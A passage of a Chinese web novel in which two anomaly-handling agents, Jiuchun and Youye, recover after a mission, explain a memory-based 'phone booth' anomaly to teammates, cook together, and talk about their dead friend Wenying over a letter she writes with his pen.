其他部分九春就不代劳了,也是怕自己把持不住。他将游叶的头移到浴缸边缘一块柔软的凹陷,形状与枕头类似。女孩的头歪倒下来,热水淹没过胸口,露出锁骨。
九春凝视着,仿佛着魔一般,伸出手指,指腹在那段优美的形状上描绘,如同盛着月亮的浅湾。强烈的爱与欲望翻涌升起,混杂一处,温柔而有力地击打他的心口。
想要。好想要。拥抱她,拥有她,吞掉她。变成身体的一部分。还是这太过残忍。守护她。就像肋骨守护脏器。
有生以来,九春从未对第二个人产生过如此汹涌而复杂的情绪。他望着游叶的睡颜,安详宁和如同画中眠鸟。
他默默想:她大概永远不会完全知晓,她对于他究竟有多重要。
片刻后,九春收回抚摸着她下颌的手,向下探去,将她从逐渐冷却的水中抱起。在没人看见、只有两人独处的情况,他反而丝毫不害羞了,只是用毛巾细致擦干她身体,换上睡衣,把她从浴室里抱了出去。
将沉睡的女孩放到自己床上,盖好被子。九春清楚,如果这时候将游叶送回她自己的房间,她醒来后必定会生气,他一定会接收到多多的抱怨和要求。
犹豫片刻,他还是低头,在她额头上落下一个亲而快的吻,如同一片羽毛掠过。
这就算回馈了。他心想。
21. 书笔
游叶醒来的时候,首先感到两侧亮度不一致。她侧过头,原来光线强度较大的那方开了一盏暖光悬浮灯,九春正在那片光下看出。
柔和光线下,他侧脸俊美非常,线条精雕细琢,还是那张最符合游叶审美标准的脸。一醒来就看见好看的东西,实在让她心情愉悦,游叶不由得多欣赏了片刻。
于是九春一注意她醒来,看见的就是一张笑眯眯的脸。他一眼就看出她眼神意味,哼了一声:“看什么看。醒了就起来。”
游叶笑而不答。她继续盯着看了一会儿,知道九春被盯到脸慢慢红起来,转过头去,她才撑起身体爬起来,“现在几点了?”
九春报了个下午的时段。他说:“君山和连湛都想见你。他们对净化异种的过程有很多想问的。”
“那川汜呢?他有说什么吗?”
“他没说什么。”意思就是他们提交的说明没问题。
“行吧。好学总比没兴趣好。虽然我没有做老师的爱好。”
游叶伸了个懒腰,上半身各处关节发出被延展的脆响,九春把书放下,说:“他们都在楼下休息。”
虽然注射了药物,不过电话亭那种精神污染也真是够人受的。游叶和九春这样睡一觉能恢复完全的,基本会被放在怪物行列。
两个人坐电梯下楼,客厅沙发上,他们的两个队友对坐,神色不怎么好。比起精神污染的疲惫,更像陷入心事的沉重。
两人坐到中央的长沙发组上,连湛先抬头看向他们,苍白的面色上是黛青的眼圈,他露出勉强的微笑,“下午好。你的状态还好吗?”
游叶当然说自己没什么问题。此时,君山突兀地开口:“那个电话亭的留言,都是假的,只是我们想听到的声音。”
“是这样吗?”她视线直直撞向游叶,声音里带着自己都没意识到的迫切和焦躁。神情是故作平静而端着的,但不自然地僵硬着,像即将开裂的面具。
游叶没有立即回答。她垂下眼睛,斟酌着说:“这是一种情况。”
“那另一种——”
“是接收者怀疑可能真实说出过的话。”
游叶说:“举例来说,如果一个人认为过世的爱人其实一直恨着自己,那这个人可能会收到一条‘我恨你’的留言,即使实际上也许未必如此。”
“电话亭的运作原理,是主要根据接受留言人的记忆和感情,参考世界上留存的留言人的情报来虚构一条留言。主观成分大于客观。”她继续解释。
连湛迟疑着问:“那就是说,留言本身不一定是真的?”
“只能说不能百分百确保真实性。或者换一个说法,你相信,那就是真的。”
停顿一下,游叶又开玩笑般用轻松的语气说:“虽然很唯心主义啦。”
她端详那两人神色,知道自己的说法没有完全说服他们——不过,尽管她不知道他们听到的留言是什么,但这种心事,都是只有自己才能解决的。
她也没有给他们解决的义务。只是出于同行工作的责任心来解释一下净化异种的原理,至于其他部分,她管不了。
至于其他推理过程,她在说明里都写了,等到川汜润色好交给公会,公会审核完再发表出去,他们可以自己看。君山和连湛也正是清楚这点,才没有问更多别的问题。
九春说:“不要想太多了。”
三个人都看向他。不太习惯成为注意中心的人轻咳一声,说:“不管是真是假,那都已经是过去的事情了。再去追究也没有太大意义。”
换句话说就是看开点,要是总背着过去的重担,前行将会困难无比。他再清楚不过了。
游叶没说话。她和这两人还不算太熟悉,贸然出声只会显得不尊重。她大部分赞同九春的说法,只有一点需要指出。
如果这段过去将会影响未来,那她无论如何都要把它解决干净。
出身于大家族,君山和连湛想必也有很多苦衷和不能言说的故事。游叶九春都无意深入探寻,找了个借口,两个人回到了三楼。
“你要不要吃点什么?”九春询问她。
他这样一提醒,她还真有点饥饿感来了。但之前逗弄他那么多,现在再提新要求总觉得有点过意不去,因此,游叶答:“我点个外卖吧。你要不要吃?”
然而,九春眉毛一皱,他说:“哦,行吧。”声音里是显而易见的不满。
等等。他这是在不高兴什么。但很快游叶就想通了,她有点无奈,又有点想笑,宽容地想:没办法,他就是这个性格,哄着点就好了。
“我改主意了。”游叶说,“厨房里有什么?”
她指的是三楼自带的小厨房。九春陈述了一遍食材,仿佛他真的只是在报名字。
“那炒个饭好了。”游叶扯着他往厨房走,“你会做吧?”
“要、要是你真的那么想吃的话,我炒一个也不是不行。”九春跟在她后面,嘴角弧度差点没压住。
“想想想。超级想的。”游叶随口回答他。其实她吃什么都行,不怎么挑。
结果九春又不高兴了,“等下,不要敷衍我!你到底想吃什么?”
糟糕,一不小心没顺好毛。游叶考虑三秒,计上心头,她一转头,满面笑容地看他。
她语调上扬:“想吃你。这个点单可以吗?”
九春一卡,恼羞成怒,“你不要胡说八道!”
“怎么是胡说八道!”游叶音调比他更高,她佯装吃惊,“我可是真心想吃的!”
九春瞪了她片刻,是那种以为自己很凶,实则如同猫咪嗲毛一般毫无攻击力的瞪法。更何况,半晌之后他就先一步败下阵来,嘟哝:“炒饭就炒饭……我去做还不行吗!”
“特别好特别好。我去给你打下手。”游叶迅速抓住机会顺毛。她摸摸他小臂,贴过去,九春发出一个鼻音,总算表情明朗起来。
吃过饭,两人又窝到九春房间里打游戏。九春和她打比赛,在赛车游戏上输得惨烈,但在音游上扳回一局。
游戏暂告一段,九春忽然想到一个问题,“对了,你在电话亭里听到的留言是什么?”
他随口一问,游叶也随口回答:“一个已经故去很久的人叫了我的名字。”
九春思考几秒,发出恍然大悟的声音:“是你七岁以前的事吗?”
游叶点头。九春说:“怪不得你一下就找到思路了。”
“是啊,也算一种运气吧。”游叶说,“你这里有笔和纸吗,我写封信。”
九春去书桌那边翻找片刻。“标准规格的信纸这里没有,横线纸行吗?”
“行。没事,规格不重要,不要太随便就行。”游叶下床,九春把钢笔和几张纸摆在桌上。
“你要写给谁?”
“扬帆镇的亚利苏牧师。我还欠瓦里希娅那孩子一个解释,毕竟某种程度上,我夺走了她的‘母亲’。”
游叶耸耸肩,语气平淡。做异种处理专员时不时就会碰到这样的问题。你要把人们从美梦中打醒,告诉他们这有害,这往往不会得到人们的感激。
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再怎么说,瓦里希娅也算是这件事的重要人物,她有知情权。尽管游叶不清楚一个小孩子究竟能理解到什么程度,但她会尽量告诉她一切。
她走过去,看见那支钢笔,游叶愣了一下。她走过去,两指捏住那支笔,放近眼前。没有错。笔杆上的名字,并不是——
“那个是闻莺家人送我的成年礼祝礼。”九春抱着双臂,站在一边解释,“根据亚利苏教的传统,每个孩子在成人礼的时候应该得到一份特别的礼物。”
但这解释不了为什么这支写着闻莺名字的笔在他这里。游叶凝视着他,九春继续说:“他家里人说,尘封在盒子里也是浪费,我是他最重视的朋友,希望这份祝福可以延续到我身上。”
他的声音平静如水,其下却是至今未散的悲伤与怀念。他知道,游叶和他是同样的心情。
寄托着生者的思念与祈祷,联结着死者与现世的因缘。这份礼物很重。游叶默然地端详那支深绿色的钢笔,恍惚间看到那个人如同森林般的深色头发。
她慎重地吸了墨水,铺好信纸,开始写字。轻柔的“唰唰”声中,九春忽然说:“我前几天去了他的墓地。”
游叶默然点了下头。九春说:“你真的不需要我帮你献一束花?”
游叶抬起眼睛,凝视前方虚空。她很慢很慢地说:“不用了。”
九春咽下自己的疑惑。游叶和闻莺的关系并非不好——甚至不能说只是一般同学,他们曾经也是同出同入【彼界】的战友,相互之间很欣赏彼此的脾性。
但她从来没有去祭奠过他。一次都没有。不是没时间——忙起来他们难分上下——但的确从来没有。九春不是第一次提出帮她也献上一束花,但她每次都拒绝了。
他曾想过是因为过于伤怀,不愿面对那座小小墓碑。但游叶比他更不会沉溺于伤感,他尚且没有消沉那么久,她当然也不会。
那她始终没有出现在那里的原因究竟是什么?
九春忍了又忍,终于还是没忍住:“你还在因为没能及时赶到见他最后一面愧疚吗?说真的,他不会在意这个的——”
“……不是。”游叶深深吐出一口气。
“还是说,你觉得自己应该对他的逝去责任?”九春换了个方向,“但即使当初你能赶回来,也不可能救得了他。”
我们谁都没办法。他把这句苦涩风干的话压在舌头底下。即使穷尽了无垠公司的医疗资源,也没能把闻莺从死神的手中夺回来。
这句话落地很久,游叶终于转过身来。她语气比他想象得冷静许多:“我知道。所以我没有这种想法。我不是圣人,不会想把什么都背在自己身上。”
最后一句话里带着轻微的责备。九春哑口,刚刚他的猜想都是他曾经的真实心境,游叶正是清楚这一点才会这样说。
“不要想太多了,九春。”她转回去,继续写字,“我会去祭奠他的。总有一天。”
只是,现在还没到那一天。
九春清楚地感知到,那背后必定藏着一个理由。只是游叶没有选择告诉他。
他不再去想。他早已确定过自己的心意:即使游叶缄口不言,她也必定有自己的理由。而不论如何他都会选择相信她。
她有事瞒着他。但不告诉他一定有她的考量,而他信任她的思虑。谁都有秘密,没有全盘托出并不代表她不信任他。即使他不理解其中深意,他还是会相信她。
因为自始至终,游叶永远都是那个不会抛弃他、不会背叛他的人。